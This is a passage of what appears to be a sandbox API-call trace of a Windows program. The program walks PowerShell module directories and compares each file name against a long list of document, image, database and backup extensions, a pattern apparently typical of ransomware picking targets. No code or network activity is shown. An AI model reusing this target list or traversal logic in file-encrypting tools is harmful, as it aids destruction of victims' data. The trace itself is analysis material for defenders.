cAlternateFileName="")) returned 1 [0193.189] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.189] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics") returned 148 [0193.189] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics") returned 1 [0193.189] lstrlenW (lpString="Diagnostics") returned 11 [0193.189] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Diagnostics") returned -1 [0193.189] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0193.189] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics") returned 148 [0193.189] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531d00 [0193.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.190] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.190] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple") returned 155 [0193.190] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple") returned 1 [0193.190] lstrlenW (lpString="Simple") returned 6 [0193.190] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Simple") returned -1 [0193.190] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.191] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple") returned 155 [0193.191] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x45317c0 [0193.192] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.192] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0193.192] lstrlenW (lpString="Example2.Diagnostics.Tests.ps1") returned 30 [0193.192] lstrlenW (lpString=".1cd") returned 4 [0193.192] lstrcmpiW (lpString1=".1cd", lpString2=".ps1") returned -1 [0193.192] lstrlenW (lpString=".3ds") returned 4 [0193.192] lstrcmpiW (lpString1=".3ds", lpString2=".ps1") returned -1 [0193.192] lstrlenW (lpString=".3fr") returned 4 [0193.192] lstrcmpiW (lpString1=".3fr", lpString2=".ps1") returned -1 [0193.192] lstrlenW (lpString=".3g2") returned 4 [0193.192] lstrcmpiW (lpString1=".3g2", lpString2=".ps1") returned -1 [0193.192] lstrlenW (lpString=".3gp") returned 4 [0193.192] lstrcmpiW (lpString1=".3gp", lpString2=".ps1") returned -1 [0193.192] lstrlenW (lpString=".7z") returned 3 [0193.192] lstrcmpiW (lpString1=".7z", lpString2="ps1") returned -1 [0193.192] lstrlenW (lpString=".accda") returned 6 [0193.193] lstrcmpiW (lpString1=".accda", lpString2="ts.ps1") returned -1 [0193.193] lstrlenW (lpString=".accdb") returned 6 [0193.193] lstrcmpiW (lpString1=".accdb", lpString2="ts.ps1") returned -1 [0193.193] lstrlenW (lpString=".accdc") returned 6 [0193.193] lstrcmpiW (lpString1=".accdc", lpString2="ts.ps1") returned -1 [0193.193] lstrlenW (lpString=".accde") returned 6 [0193.193] lstrcmpiW (lpString1=".accde", lpString2="ts.ps1") returned -1 [0193.193] lstrlenW (lpString=".accdt") returned 6 [0193.193] lstrcmpiW (lpString1=".accdt", lpString2="ts.ps1") returned -1 [0193.193] lstrlenW (lpString=".accdw") returned 6 [0193.193] lstrcmpiW (lpString1=".accdw", lpString2="ts.ps1") returned -1 [0193.193] lstrlenW (lpString=".adb") returned 4 [0193.193] lstrcmpiW (lpString1=".adb", lpString2=".ps1") returned -1 [0193.193] lstrlenW (lpString=".adp") returned 4 [0193.193] lstrcmpiW (lpString1=".adp", lpString2=".ps1") returned -1 [0193.193] lstrlenW (lpString=".ai") returned 3 [0193.193] lstrcmpiW (lpString1=".ai", lpString2="ps1") returned -1 [0193.193] lstrlenW (lpString=".ai3") returned 4 [0193.193] lstrcmpiW (lpString1=".ai3", lpString2=".ps1") returned -1 [0193.193] lstrlenW (lpString=".ai4") returned 4 [0193.193] lstrcmpiW (lpString1=".ai4", lpString2=".ps1") returned -1 [0193.193] lstrlenW (lpString=".ai5") returned 4 [0193.193] lstrcmpiW (lpString1=".ai5", lpString2=".ps1") returned -1 [0193.193] lstrlenW (lpString=".ai6") returned 4 [0193.193] lstrcmpiW (lpString1=".ai6", lpString2=".ps1") returned -1 [0193.193] lstrlenW (lpString=".ai7") returned 4 [0193.193] lstrcmpiW (lpString1=".ai7", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".ai8") returned 4 [0193.194] lstrcmpiW (lpString1=".ai8", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".anim") returned 5 [0193.194] lstrcmpiW (lpString1=".anim", lpString2="s.ps1") returned -1 [0193.194] lstrlenW (lpString=".arw") returned 4 [0193.194] lstrcmpiW (lpString1=".arw", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".as") returned 3 [0193.194] lstrcmpiW (lpString1=".as", lpString2="ps1") returned -1 [0193.194] lstrlenW (lpString=".asa") returned 4 [0193.194] lstrcmpiW (lpString1=".asa", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".asc") returned 4 [0193.194] lstrcmpiW (lpString1=".asc", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".ascx") returned 5 [0193.194] lstrcmpiW (lpString1=".ascx", lpString2="s.ps1") returned -1 [0193.194] lstrlenW (lpString=".asm") returned 4 [0193.194] lstrcmpiW (lpString1=".asm", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".asmx") returned 5 [0193.194] lstrcmpiW (lpString1=".asmx", lpString2="s.ps1") returned -1 [0193.194] lstrlenW (lpString=".asp") returned 4 [0193.194] lstrcmpiW (lpString1=".asp", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".aspx") returned 5 [0193.194] lstrcmpiW (lpString1=".aspx", lpString2="s.ps1") returned -1 [0193.194] lstrlenW (lpString=".asr") returned 4 [0193.194] lstrcmpiW (lpString1=".asr", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".asx") returned 4 [0193.194] lstrcmpiW (lpString1=".asx", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".avi") returned 4 [0193.194] lstrcmpiW (lpString1=".avi", lpString2=".ps1") returned -1 [0193.194] lstrlenW (lpString=".avs") returned 4 [0193.195] lstrcmpiW (lpString1=".avs", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".backup") returned 7 [0193.195] lstrcmpiW (lpString1=".backup", lpString2="sts.ps1") returned -1 [0193.195] lstrlenW (lpString=".bak") returned 4 [0193.195] lstrcmpiW (lpString1=".bak", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".bay") returned 4 [0193.195] lstrcmpiW (lpString1=".bay", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".bd") returned 3 [0193.195] lstrcmpiW (lpString1=".bd", lpString2="ps1") returned -1 [0193.195] lstrlenW (lpString=".bin") returned 4 [0193.195] lstrcmpiW (lpString1=".bin", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".bmp") returned 4 [0193.195] lstrcmpiW (lpString1=".bmp", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".bz2") returned 4 [0193.195] lstrcmpiW (lpString1=".bz2", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".c") returned 2 [0193.195] lstrcmpiW (lpString1=".c", lpString2="s1") returned -1 [0193.195] lstrlenW (lpString=".cdr") returned 4 [0193.195] lstrcmpiW (lpString1=".cdr", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".cer") returned 4 [0193.195] lstrcmpiW (lpString1=".cer", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".cf") returned 3 [0193.195] lstrcmpiW (lpString1=".cf", lpString2="ps1") returned -1 [0193.195] lstrlenW (lpString=".cfc") returned 4 [0193.195] lstrcmpiW (lpString1=".cfc", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".cfm") returned 4 [0193.195] lstrcmpiW (lpString1=".cfm", lpString2=".ps1") returned -1 [0193.195] lstrlenW (lpString=".cfml") returned 5 [0193.196] lstrcmpiW (lpString1=".cfml", lpString2="s.ps1") returned -1 [0193.196] lstrlenW (lpString=".cfu") returned 4 [0193.196] lstrcmpiW (lpString1=".cfu", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".chm") returned 4 [0193.196] lstrcmpiW (lpString1=".chm", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".cin") returned 4 [0193.196] lstrcmpiW (lpString1=".cin", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".class") returned 6 [0193.196] lstrcmpiW (lpString1=".class", lpString2="ts.ps1") returned -1 [0193.196] lstrlenW (lpString=".clx") returned 4 [0193.196] lstrcmpiW (lpString1=".clx", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".config") returned 7 [0193.196] lstrcmpiW (lpString1=".config", lpString2="sts.ps1") returned -1 [0193.196] lstrlenW (lpString=".cpp") returned 4 [0193.196] lstrcmpiW (lpString1=".cpp", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".cr2") returned 4 [0193.196] lstrcmpiW (lpString1=".cr2", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".crt") returned 4 [0193.196] lstrcmpiW (lpString1=".crt", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".crw") returned 4 [0193.196] lstrcmpiW (lpString1=".crw", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".cs") returned 3 [0193.196] lstrcmpiW (lpString1=".cs", lpString2="ps1") returned -1 [0193.196] lstrlenW (lpString=".css") returned 4 [0193.196] lstrcmpiW (lpString1=".css", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".csv") returned 4 [0193.196] lstrcmpiW (lpString1=".csv", lpString2=".ps1") returned -1 [0193.196] lstrlenW (lpString=".cub") returned 4 [0193.197] lstrcmpiW (lpString1=".cub", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dae") returned 4 [0193.197] lstrcmpiW (lpString1=".dae", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dat") returned 4 [0193.197] lstrcmpiW (lpString1=".dat", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".db") returned 3 [0193.197] lstrcmpiW (lpString1=".db", lpString2="ps1") returned -1 [0193.197] lstrlenW (lpString=".dbf") returned 4 [0193.197] lstrcmpiW (lpString1=".dbf", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dbx") returned 4 [0193.197] lstrcmpiW (lpString1=".dbx", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dc3") returned 4 [0193.197] lstrcmpiW (lpString1=".dc3", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dcm") returned 4 [0193.197] lstrcmpiW (lpString1=".dcm", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dcr") returned 4 [0193.197] lstrcmpiW (lpString1=".dcr", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".der") returned 4 [0193.197] lstrcmpiW (lpString1=".der", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dib") returned 4 [0193.197] lstrcmpiW (lpString1=".dib", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dic") returned 4 [0193.197] lstrcmpiW (lpString1=".dic", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".dif") returned 4 [0193.197] lstrcmpiW (lpString1=".dif", lpString2=".ps1") returned -1 [0193.197] lstrlenW (lpString=".divx") returned 5 [0193.197] lstrcmpiW (lpString1=".divx", lpString2="s.ps1") returned -1 [0193.197] lstrlenW (lpString=".djvu") returned 5 [0193.197] lstrcmpiW (lpString1=".djvu", lpString2="s.ps1") returned -1 [0193.197] lstrlenW (lpString=".dng") returned 4 [0193.198] lstrcmpiW (lpString1=".dng", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".doc") returned 4 [0193.198] lstrcmpiW (lpString1=".doc", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".docm") returned 5 [0193.198] lstrcmpiW (lpString1=".docm", lpString2="s.ps1") returned -1 [0193.198] lstrlenW (lpString=".docx") returned 5 [0193.198] lstrcmpiW (lpString1=".docx", lpString2="s.ps1") returned -1 [0193.198] lstrlenW (lpString=".dot") returned 4 [0193.198] lstrcmpiW (lpString1=".dot", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".dotm") returned 5 [0193.198] lstrcmpiW (lpString1=".dotm", lpString2="s.ps1") returned -1 [0193.198] lstrlenW (lpString=".dotx") returned 5 [0193.198] lstrcmpiW (lpString1=".dotx", lpString2="s.ps1") returned -1 [0193.198] lstrlenW (lpString=".dpx") returned 4 [0193.198] lstrcmpiW (lpString1=".dpx", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".dqy") returned 4 [0193.198] lstrcmpiW (lpString1=".dqy", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".dsn") returned 4 [0193.198] lstrcmpiW (lpString1=".dsn", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".dt") returned 3 [0193.198] lstrcmpiW (lpString1=".dt", lpString2="ps1") returned -1 [0193.198] lstrlenW (lpString=".dtd") returned 4 [0193.198] lstrcmpiW (lpString1=".dtd", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".dwg") returned 4 [0193.198] lstrcmpiW (lpString1=".dwg", lpString2=".ps1") returned -1 [0193.198] lstrlenW (lpString=".dwt") returned 4 [0193.198] lstrcmpiW (lpString1=".dwt", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".dx") returned 3 [0193.199] lstrcmpiW (lpString1=".dx", lpString2="ps1") returned -1 [0193.199] lstrlenW (lpString=".dxf") returned 4 [0193.199] lstrcmpiW (lpString1=".dxf", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".edml") returned 5 [0193.199] lstrcmpiW (lpString1=".edml", lpString2="s.ps1") returned -1 [0193.199] lstrlenW (lpString=".efd") returned 4 [0193.199] lstrcmpiW (lpString1=".efd", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".elf") returned 4 [0193.199] lstrcmpiW (lpString1=".elf", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".emf") returned 4 [0193.199] lstrcmpiW (lpString1=".emf", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".emz") returned 4 [0193.199] lstrcmpiW (lpString1=".emz", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".epf") returned 4 [0193.199] lstrcmpiW (lpString1=".epf", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".eps") returned 4 [0193.199] lstrcmpiW (lpString1=".eps", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".epsf") returned 5 [0193.199] lstrcmpiW (lpString1=".epsf", lpString2="s.ps1") returned -1 [0193.199] lstrlenW (lpString=".epsp") returned 5 [0193.199] lstrcmpiW (lpString1=".epsp", lpString2="s.ps1") returned -1 [0193.199] lstrlenW (lpString=".erf") returned 4 [0193.199] lstrcmpiW (lpString1=".erf", lpString2=".ps1") returned -1 [0193.199] lstrlenW (lpString=".exr") returned 4 [0193.199] lstrcmpiW (lpString1=".exr", lpString2=".ps1") returned -1 [0193.200] lstrlenW (lpString=".f4v") returned 4 [0193.200] lstrcmpiW (lpString1=".f4v", lpString2=".ps1") returned -1 [0193.200] lstrlenW (lpString=".fido") returned 5 [0193.200] lstrcmpiW (lpString1=".fido", lpString2="s.ps1") returned -1 [0193.200] lstrlenW (lpString=".flm") returned 4 [0193.200] lstrcmpiW (lpString1=".flm", lpString2=".ps1") returned -1 [0193.200] lstrlenW (lpString=".flv") returned 4 [0193.200] lstrcmpiW (lpString1=".flv", lpString2=".ps1") returned -1 [0193.200] lstrlenW (lpString=".frm") returned 4 [0193.201] lstrcmpiW (lpString1=".frm", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".fxg") returned 4 [0193.201] lstrcmpiW (lpString1=".fxg", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".geo") returned 4 [0193.201] lstrcmpiW (lpString1=".geo", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".gif") returned 4 [0193.201] lstrcmpiW (lpString1=".gif", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".grs") returned 4 [0193.201] lstrcmpiW (lpString1=".grs", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".gz") returned 3 [0193.201] lstrcmpiW (lpString1=".gz", lpString2="ps1") returned -1 [0193.201] lstrlenW (lpString=".h") returned 2 [0193.201] lstrcmpiW (lpString1=".h", lpString2="s1") returned -1 [0193.201] lstrlenW (lpString=".hdr") returned 4 [0193.201] lstrcmpiW (lpString1=".hdr", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".hpp") returned 4 [0193.201] lstrcmpiW (lpString1=".hpp", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".hta") returned 4 [0193.201] lstrcmpiW (lpString1=".hta", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".htc") returned 4 [0193.201] lstrcmpiW (lpString1=".htc", lpString2=".ps1") returned -1 [0193.201] lstrlenW (lpString=".htm") returned 4 [0193.201] lstrcmpiW (lpString1=".htm", lpString2=".ps1") returned -1 [0193.202] lstrlenW (lpString=".html") returned 5 [0193.202] lstrcmpiW (lpString1=".html", lpString2="s.ps1") returned -1 [0193.202] lstrlenW (lpString=".icb") returned 4 [0193.202] lstrcmpiW (lpString1=".icb", lpString2=".ps1") returned -1 [0193.202] lstrlenW (lpString=".ics") returned 4 [0193.202] lstrcmpiW (lpString1=".ics", lpString2=".ps1") returned -1 [0193.202] lstrlenW (lpString=".iff") returned 4 [0193.202] lstrcmpiW (lpString1=".iff", lpString2=".ps1") returned -1 [0193.202] lstrlenW (lpString=".inc") returned 4 [0193.202] lstrcmpiW (lpString1=".inc", lpString2=".ps1") returned -1 [0193.202] lstrlenW (lpString=".indd") returned 5 [0193.202] lstrcmpiW (lpString1=".indd", lpString2="s.ps1") returned -1 [0193.202] lstrlenW (lpString=".ini") returned 4 [0193.202] lstrcmpiW (lpString1=".ini", lpString2=".ps1") returned -1 [0193.202] lstrlenW (lpString=".iqy") returned 4 [0193.202] lstrcmpiW (lpString1=".iqy", lpString2=".ps1") returned -1 [0193.202] lstrlenW (lpString=".j2c") returned 4 [0193.203] lstrcmpiW (lpString1=".j2c", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".j2k") returned 4 [0193.203] lstrcmpiW (lpString1=".j2k", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".java") returned 5 [0193.203] lstrcmpiW (lpString1=".java", lpString2="s.ps1") returned -1 [0193.203] lstrlenW (lpString=".jp2") returned 4 [0193.203] lstrcmpiW (lpString1=".jp2", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".jpc") returned 4 [0193.203] lstrcmpiW (lpString1=".jpc", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".jpe") returned 4 [0193.203] lstrcmpiW (lpString1=".jpe", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".jpeg") returned 5 [0193.203] lstrcmpiW (lpString1=".jpeg", lpString2="s.ps1") returned -1 [0193.203] lstrlenW (lpString=".jpf") returned 4 [0193.203] lstrcmpiW (lpString1=".jpf", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".jpg") returned 4 [0193.203] lstrcmpiW (lpString1=".jpg", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".jpx") returned 4 [0193.203] lstrcmpiW (lpString1=".jpx", lpString2=".ps1") returned -1 [0193.203] lstrlenW (lpString=".js") returned 3 [0193.203] lstrcmpiW (lpString1=".js", lpString2="ps1") returned -1 [0193.203] lstrlenW (lpString=".jsf") returned 4 [0193.203] lstrcmpiW (lpString1=".jsf", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".json") returned 5 [0193.204] lstrcmpiW (lpString1=".json", lpString2="s.ps1") returned -1 [0193.204] lstrlenW (lpString=".jsp") returned 4 [0193.204] lstrcmpiW (lpString1=".jsp", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".kdc") returned 4 [0193.204] lstrcmpiW (lpString1=".kdc", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".kmz") returned 4 [0193.204] lstrcmpiW (lpString1=".kmz", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".kwm") returned 4 [0193.204] lstrcmpiW (lpString1=".kwm", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".lasso") returned 6 [0193.204] lstrcmpiW (lpString1=".lasso", lpString2="ts.ps1") returned -1 [0193.204] lstrlenW (lpString=".lbi") returned 4 [0193.204] lstrcmpiW (lpString1=".lbi", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".lgf") returned 4 [0193.204] lstrcmpiW (lpString1=".lgf", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".lgp") returned 4 [0193.204] lstrcmpiW (lpString1=".lgp", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".log") returned 4 [0193.204] lstrcmpiW (lpString1=".log", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".m1v") returned 4 [0193.204] lstrcmpiW (lpString1=".m1v", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".m4a") returned 4 [0193.204] lstrcmpiW (lpString1=".m4a", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".m4v") returned 4 [0193.204] lstrcmpiW (lpString1=".m4v", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".max") returned 4 [0193.204] lstrcmpiW (lpString1=".max", lpString2=".ps1") returned -1 [0193.204] lstrlenW (lpString=".md") returned 3 [0193.204] lstrcmpiW (lpString1=".md", lpString2="ps1") returned -1 [0193.205] lstrlenW (lpString=".mda") returned 4 [0193.205] lstrcmpiW (lpString1=".mda", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mdb") returned 4 [0193.205] lstrcmpiW (lpString1=".mdb", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mde") returned 4 [0193.205] lstrcmpiW (lpString1=".mde", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mdf") returned 4 [0193.205] lstrcmpiW (lpString1=".mdf", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mdw") returned 4 [0193.205] lstrcmpiW (lpString1=".mdw", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mef") returned 4 [0193.205] lstrcmpiW (lpString1=".mef", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mft") returned 4 [0193.205] lstrcmpiW (lpString1=".mft", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mfw") returned 4 [0193.205] lstrcmpiW (lpString1=".mfw", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mht") returned 4 [0193.205] lstrcmpiW (lpString1=".mht", lpString2=".ps1") returned -1 [0193.205] lstrlenW (lpString=".mhtml") returned 6 [0193.205] lstrcmpiW (lpString1=".mhtml", lpString2="ts.ps1") returned -1 [0193.206] lstrlenW (lpString=".mka") returned 4 [0193.206] lstrcmpiW (lpString1=".mka", lpString2=".ps1") returned -1 [0193.206] lstrlenW (lpString=".mkidx") returned 6 [0193.206] lstrcmpiW (lpString1=".mkidx", lpString2="ts.ps1") returned -1 [0193.206] lstrlenW (lpString=".mkv") returned 4 [0193.206] lstrcmpiW (lpString1=".mkv", lpString2=".ps1") returned -1 [0193.206] lstrlenW (lpString=".mos") returned 4 [0193.206] lstrcmpiW (lpString1=".mos", lpString2=".ps1") returned -1 [0193.206] lstrlenW (lpString=".mov") returned 4 [0193.206] lstrcmpiW (lpString1=".mov", lpString2=".ps1") returned -1 [0193.206] lstrlenW (lpString=".mp3") returned 4 [0193.206] lstrcmpiW (lpString1=".mp3", lpString2=".ps1") returned -1 [0193.206] lstrlenW (lpString=".mp4") returned 4 [0193.206] lstrcmpiW (lpString1=".mp4", lpString2=".ps1") returned -1 [0193.206] lstrlenW (lpString=".mpeg") returned 5 [0193.206] lstrcmpiW (lpString1=".mpeg", lpString2="s.ps1") returned -1 [0193.206] lstrlenW (lpString=".mpg") returned 4 [0193.206] lstrcmpiW (lpString1=".mpg", lpString2=".ps1") returned -1 [0193.207] lstrlenW (lpString=".mpv") returned 4 [0193.207] 